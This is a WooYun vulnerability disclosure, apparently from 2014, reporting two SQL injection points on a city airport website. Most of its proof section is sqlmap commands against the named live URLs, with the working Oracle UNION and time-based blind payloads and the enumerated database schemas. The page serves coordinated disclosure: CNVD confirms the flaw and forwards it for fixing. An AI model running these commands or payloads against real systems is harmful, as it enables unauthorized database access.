当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088139

漏洞标题:某市机场sql注入两枚

相关厂商:cncert国家互联网应急中心

漏洞作者: Qiudays

提交时间:2014-12-22 18:33

修复时间:2015-02-05 18:34

公开时间:2015-02-05 18:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-22: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认,细节仅向厂商公开
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-05: 细节向公众公开

简要描述:

这辈子没坐过飞机....

详细说明:

第一个:http://www.hhhtbtjc.com/swzl/view/readswzl.jsp?id=L201410090002
第二个:http://www.hhhtbtjc.com/swzl/view/addswzl.jsp?id=L201410200001

漏洞证明:

第一个:http://www.hhhtbtjc.com/swzl/view/readswzl.jsp?id=L201410090002
sqlmap -u http://www.hhhtbtjc.com/swzl/view/readswzl.jsp?id=L201410090002 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 01:06:12
[01:06:12] [INFO] testing connection to the target URL
[01:06:13] [INFO] testing if the target URL is stable. This can take a couple of seconds
[01:06:14] [INFO] target URL is stable
[01:06:14] [INFO] testing if GET parameter 'id' is dynamic
[01:06:15] [WARNING] GET parameter 'id' does not appear dynamic
[01:06:15] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[01:06:15] [INFO] testing for SQL injection on GET parameter 'id'
[01:06:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:06:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[01:06:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:06:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[01:06:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:06:34] [INFO] testing 'MySQL inline queries'
[01:06:34] [INFO] testing 'PostgreSQL inline queries'
[01:06:34] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[01:06:35] [INFO] testing 'Oracle inline queries'
[01:06:35] [INFO] testing 'SQLite inline queries'
[01:06:36] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:06:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:06:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:06:43] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:06:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:06:49] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:06:51] [INFO] testing 'Oracle AND time-based blind'
[01:07:03] [INFO] GET parameter 'id' seems to be 'Oracle AND time-based blind' injectable
[01:07:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:07:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:07:04] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[01:07:06] [INFO] target URL appears to have 9 columns in query
[01:07:06] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 95 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=L201410090002' UNION ALL SELECT NULL,NULL,NULL,CHR(113)||CHR(99)||CHR(101)||CHR(103)||CHR(113)||CHR(105)||CHR(83)||CHR(90)||CHR(101)||CHR(69)||CHR(74)||CHR(66)||CHR(104)||CHR(87)||CHR(86)||CHR(113)||CHR(119)||CHR(117)||CHR(120)||CHR(113),NULL,NULL,NULL,NULL,NULL FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: id=L201410090002' AND 7611=DBMS_PIPE.RECEIVE_MESSAGE(CHR(105)||CHR(106)||CHR(88)||CHR(73),5) AND 'xRJt'='xRJt
---
[01:07:09] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[01:07:09] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[01:07:09] [INFO] fetching database (schema) names
[01:07:10] [INFO] the SQL query used returns 19 entries
[01:07:11] [INFO] retrieved: "APEX_030200"
[01:07:11] [INFO] retrieved: "APPQOSSYS"
[01:07:12] [INFO] retrieved: "CMSPRO"
[01:07:13] [INFO] retrieved: "CTXSYS"
[01:07:14] [INFO] retrieved: "DBSNMP"
[01:07:15] [INFO] retrieved: "EXFSYS"
[01:07:15] [INFO] retrieved: "FLOWS_FILES"
[01:07:16] [INFO] retrieved: "MDSYS"
[01:07:17] [INFO] retrieved: "OLAPSYS"
[01:07:17] [INFO] retrieved: "ORDDATA"
[01:07:18] [INFO] retrieved: "ORDSYS"
[01:07:19] [INFO] retrieved: "OUTLN"
[01:07:20] [INFO] retrieved: "OWBSYS"
[01:07:20] [INFO] retrieved: "SCOTT"
[01:07:21] [INFO] retrieved: "SYS"
[01:07:22] [INFO] retrieved: "SYSMAN"
[01:07:23] [INFO] retrieved: "SYSTEM"
[01:07:24] [INFO] retrieved: "WMSYS"
[01:07:24] [INFO] retrieved: "XDB"
available databases [19]:
[*] APEX_030200
[*] APPQOSSYS
[*] CMSPRO
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB
[01:07:24] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 38 times, 500 (Internal Server Error) - 24 times
[01:07:24] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.hhhtbtjc.com'
[*] shutting down at 01:07:24
第二个:http://www.hhhtbtjc.com/swzl/view/addswzl.jsp?id=L201410200001
sqlmap -u http://www.hhhtbtjc.com/swzl/view/addswzl.jsp?id=L201410200001 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 01:17:31
[01:17:31] [INFO] testing connection to the target URL
[01:17:31] [INFO] testing if the target URL is stable. This can take a couple of seconds
[01:17:33] [INFO] target URL is stable
[01:17:33] [INFO] testing if GET parameter 'id' is dynamic
[01:17:33] [WARNING] GET parameter 'id' does not appear dynamic
[01:17:34] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[01:17:34] [INFO] testing for SQL injection on GET parameter 'id'
[01:17:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:17:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[01:17:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:17:45] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[01:17:47] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:17:51] [INFO] testing 'MySQL inline queries'
[01:17:52] [INFO] testing 'PostgreSQL inline queries'
[01:17:52] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[01:17:52] [INFO] testing 'Oracle inline queries'
[01:17:53] [INFO] testing 'SQLite inline queries'
[01:17:53] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:17:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:17:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:18:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:18:03] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:18:05] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:18:07] [INFO] testing 'Oracle AND time-based blind'
[01:18:19] [INFO] GET parameter 'id' seems to be 'Oracle AND time-based blind' injectable
[01:18:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:18:19] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:18:20] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[01:18:22] [INFO] target URL appears to have 9 columns in query
[01:18:24] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 98 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=L201410200001' UNION ALL SELECT CHR(113)||CHR(99)||CHR(106)||CHR(116)||CHR(113)||CHR(86)||CHR(121)||CHR(101)||CHR(99)||CHR(111)||CHR(86)||CHR(77)||CHR(107)||CHR(120)||CHR(76)||CHR(113)||CHR(119)||CHR(103)||CHR(111)||CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: id=L201410200001' AND 8727=DBMS_PIPE.RECEIVE_MESSAGE(CHR(72)||CHR(113)||CHR(101)||CHR(72),5) AND 'XLUJ'='XLUJ
---
[01:18:25] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[01:18:26] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[01:18:26] [INFO] fetching database (schema) names
[01:18:26] [INFO] the SQL query used returns 19 entries
[01:18:27] [INFO] retrieved: "APEX_030200"
[01:18:28] [INFO] retrieved: "APPQOSSYS"
[01:18:28] [INFO] retrieved: "CMSPRO"
[01:18:29] [INFO] retrieved: "CTXSYS"
[01:18:30] [INFO] retrieved: "DBSNMP"
[01:18:31] [INFO] retrieved: "EXFSYS"
[01:18:31] [INFO] retrieved: "FLOWS_FILES"
[01:18:32] [INFO] retrieved: "MDSYS"
[01:18:33] [INFO] retrieved: "OLAPSYS"
[01:18:33] [INFO] retrieved: "ORDDATA"
[01:18:34] [INFO] retrieved: "ORDSYS"
[01:18:35] [INFO] retrieved: "OUTLN"
[01:18:35] [INFO] retrieved: "OWBSYS"
[01:18:36] [INFO] retrieved: "SCOTT"
[01:18:37] [INFO] retrieved: "SYS"
[01:18:38] [INFO] retrieved: "SYSMAN"
[01:18:38] [INFO] retrieved: "SYSTEM"
[01:18:39] [INFO] retrieved: "WMSYS"
[01:18:40] [INFO] retrieved: "XDB"
available databases [19]:
[*] APEX_030200
[*] APPQOSSYS
[*] CMSPRO
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB
[01:18:40] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 38 times, 500 (Internal Server Error) - 25 times
[01:18:40] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.hhhtbtjc.com'
[*] shutting down at 01:18:40
为了水表的安全就不看那些数据了。

修复方案:

你懂得的....

版权声明:转载请注明来源 Qiudays@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2014-12-26 17:37

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给内蒙古分中心,由内蒙古分中心后续协调网站管理单位处置

最新状态:

暂无